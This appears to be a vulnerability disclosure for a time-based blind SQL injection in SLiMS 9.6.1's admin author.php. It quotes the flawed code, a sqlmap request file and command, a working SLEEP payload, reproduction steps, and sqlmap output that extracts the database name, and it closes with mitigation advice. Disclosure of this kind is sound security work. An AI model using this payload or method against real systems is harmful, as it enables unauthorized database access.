

81 lines (59 loc...

Preview

Code

Blame

Raw



The Issue

My current Machine Learning Model uncovered a critical SQL injection flaw within the `admin/modules/master_file/author.php` script. This issue stems from insufficient sanitization of user inputs in the application's query logic.

The Explanation

The vulnerability originates in how the application processes user inputs. Specifically, the following snippet is where the unsafe behavior occurs:

```
if (isset($_GET['fld']) AND isset($_GET['dir'])) {  
    $datagrid->setSQLorder('".$_urldecode($_GET['fld'])." ".$db->escape_string($
```



The `$fld` and `$dir` variables, derived directly from user input (`$_GET['fld']` and `$_GET['dir']`), are incorporated into the SQL query without proper validation or escaping. This leaves the query open to manipulation by an attacker injecting malicious SQL payloads.

Proof of Vulnerability

To verify the presence of this issue, I used the SQL injection testing tool `sqlmap`. The following request file (`req4.req`) was used:

```
GET /slims9_bulian-9.6.1/admin/modules/master_file/author.php?
fld=0&dir=ASC&page=2 HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: id,en-US;q=0.9,en;q=0.8,ru;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Cookie: SenayanAdmin=c7gkn40e7m7usk6avcv62c6spu; admin_logged_in=1;
SenayanMember=pne7e0dsf330d1quocps8rilgv;
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36
```

The following command was executed to test for SQL injection:

```
sqlmap -r req4.req --level 5 --risk 3 -p fld --current-db
```

Results from sqlmap:

1. Time-Based Blind SQL Injection:

Payload:

```
fld=0' AND (SELECT 4678 FROM (SELECT(SLEEP(5)))LL4Z)-- YB0n&dir=ASC&page=2
```

This output confirms that the `fld` parameter is vulnerable to time-based blind SQL injection, allowing an attacker to manipulate the application's SQL queries and retrieve the current database name.

Steps to Reproduce

To exploit this vulnerability:

1. Intercept the request to `admin/modules/master_file/author.php`.
2. Modify the `fld` parameter to inject malicious SQL code. For example:

```
fld=0' AND (SELECT 4678 FROM (SELECT(SLEEP(5)))LL4Z)-- YB0n&dir=ASC&page=2
```

3. Observe the delayed response, which indicates that the SQL injection is successfully triggering a time delay.

4. Use tools like `sqlmap` to enumerate the current database or further exploit the vulnerability.

Notes

This vulnerability demonstrates a significant security risk and should be addressed promptly. To mitigate this issue, always use prepared statements or parameterized queries for SQL operations and ensure user inputs are validated and sanitized.

```
[16:22:52] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[16:22:54] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[16:22:56] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[16:22:57] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[16:22:59] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[16:23:01] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[16:23:03] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[16:23:05] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[16:23:07] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[16:23:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:23:21] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[16:23:23] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[16:23:24] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[16:23:26] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[16:23:27] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[16:23:29] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[16:23:30] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[16:23:32] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[16:23:33] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[16:23:35] [INFO] checking if the injection point on GET parameter 'fld' is a false positive
GET parameter 'fld' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 6349 HTTP(s) requests:
---
Parameter: fld (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: fld=0' AND (SELECT 4670 FROM (SELECT(SLEEP(5))))LtMZ)-- YB0n&dir=ASC&page=2
---
[16:24:59] [INFO] the back-end DBMS is MySQL
[16:24:59] [WARNING] it is very important to not stress the network connection during usage of time-based
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12
[16:25:00] [INFO] fetching current database
[16:25:00] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
sl
[16:26:26] [ERROR] invalid character detected. retrying..
ims n
[16:28:28] [ERROR] invalid character detected. retrying..
ew
current database: 'slims_new'
[16:29:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2365 times
```

Desktop:

- OS: Windows 10
- Browser: Firefox 134.0

- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
- Target Server OS: Linux Debian 10 (buster)
- Target Server: Apache 2.4.38
- Testing Tool: SQLMap 1.7.10#stable
- Slims Version: slims9_bulian-9.6.1